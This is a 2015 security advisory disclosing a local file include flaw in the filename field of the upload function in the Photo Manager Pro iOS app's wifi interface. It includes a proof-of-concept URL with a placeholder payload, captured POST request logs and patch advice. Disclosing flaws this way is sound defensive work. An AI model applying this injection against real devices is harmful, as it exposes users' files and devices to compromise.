Document Title: =============== Photo Manager Pro v4.4.0 iOS - File Include Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1445 Release Date: ============= 2015-03-12 Vulnerability Laboratory ID (VL-ID): ==================================== 1445 Common Vulnerability Scoring System: ==================================== 6.9 Product & Service Introduction: =============================== Do you have troubles for managing thousands of photos and videos? Do you have any private photos or videos? Are you looking for a photo portfolio app? Photo Manager Pro is exactly you are looking for. Photo Manager Pro is extremely easy to use. TP Transfer: Transfer folders and files between computer and device over wifi network. HTTP Transfer: Transfer files between computer and device over wifi network. View photos in the browser. Peer to Peer Transfer: Directly transfer files between iPad, iPhone and iPod Touch over wifi network. USB Transfer: Import/Export photos from/to iTunes file sharing. Basic Transfer: Import/Export photos from/to the Photos app. (Copy of the Vendor Homepage: https://itunes.apple.com/de/app/photo-manager-pro/id393858562 & http://www.linkusnow.com/photomanager/help/ipad/help_main.php ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a locla file include vulnerability in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-03-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Linkus Product: Photo Manager Pro - iOS Mobile Web Application (Wifi) 4.4.0 Exploitation Technique: ======================= Local Severity Level: =============== High Technical Details & Description: ================================ A local file include web vulnerability has been discovered in the official Linkus Photo Manager Pro v4.4.0 iOS mobile web-application. The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system specific path commands to compromise the mobile web-application. The web vulnerability is located in the `filename` value of the `upload.action` module. Remote attackers are able to inject own files with malicious `filename` values in the `upload.action` POST method request to compromise the mobile web-application. The local file/path include execution occcurs in the index dir listing of the wifi interface. The attacker is able to inject the local file include request by usage of the `wifi interface` in connection with the vulnerable upload service module. Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to execute unique local malicious attack requests. The attack vector is located on the application-side of the wifi service and the request method to inject is POST. To exploit the bug it is required to use the local device > wifi sync or (remote) the wifi gui. The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.9. Exploitation of the local file include vulnerability requires no user interaction or privileged web-application user account. Successful exploitation of the local file include web vulnerability results in mobile application or device compromise. Request Method(s): [+] POST Vulnerable Module(s): [+] upload.action Vulnerable Parameter(s): [+] filename Affected Module(s): [+] disp_photo.action Proof of Concept (PoC): ======================= The local file include web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: http://localhost:8080/disp_photo.action?filename=./[LOCAL FILE INCLUDE VULNERABILITY!]2.png PoC: Vulnerable Source <div id="photo_content"> <img id="photo" src="disp_photo.action?filename=./[LOCAL FILE INCLUDE VULNERABILITY!]2.png" height="606"></div> --- Poc Session Logs [POST] (Inject) --- Status: 200[OK] POST http://localhost:8080/upload.action?folderID=5 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gre des Inhalts[31] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[http://localhost:8080/upload.html?folderID=5] Cookie[isenabledpasscode=false] Connection[keep-alive] POST-Daten: POST_DATA[-----------------------------15932100885119 Content-Disposition: form-data; name="is_submitted" false -----------------------------15932100885119 Content-Disposition: form-data; name="upload_file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]2.png" Content-Type: image/png - Status: 200[OK] GET http://localhost:8080/upload.html?folderID=5 Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gre des Inhalts[8085] Mime Type[application/x-unknown-content-type] Request Header: Host[localhost:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Cookie[isenabledpasscode=false] Connection[keep-alive] Response Header: Accept-Ranges[bytes] Content-Length[8085] Date[Do., 05 Mrz 2015 20:52:18 GMT] Reference(s): http://localhost:8080/upload.action?folderID= http://localhost:8080/upload.html?folderID= http://localhost:8080/disp_photo.action?filename= Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks. Security Risk: ============== The security risk of thelocal file inelcude web vulnerability in the photo manager wifi service is estimated as high. (CVSS 6.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 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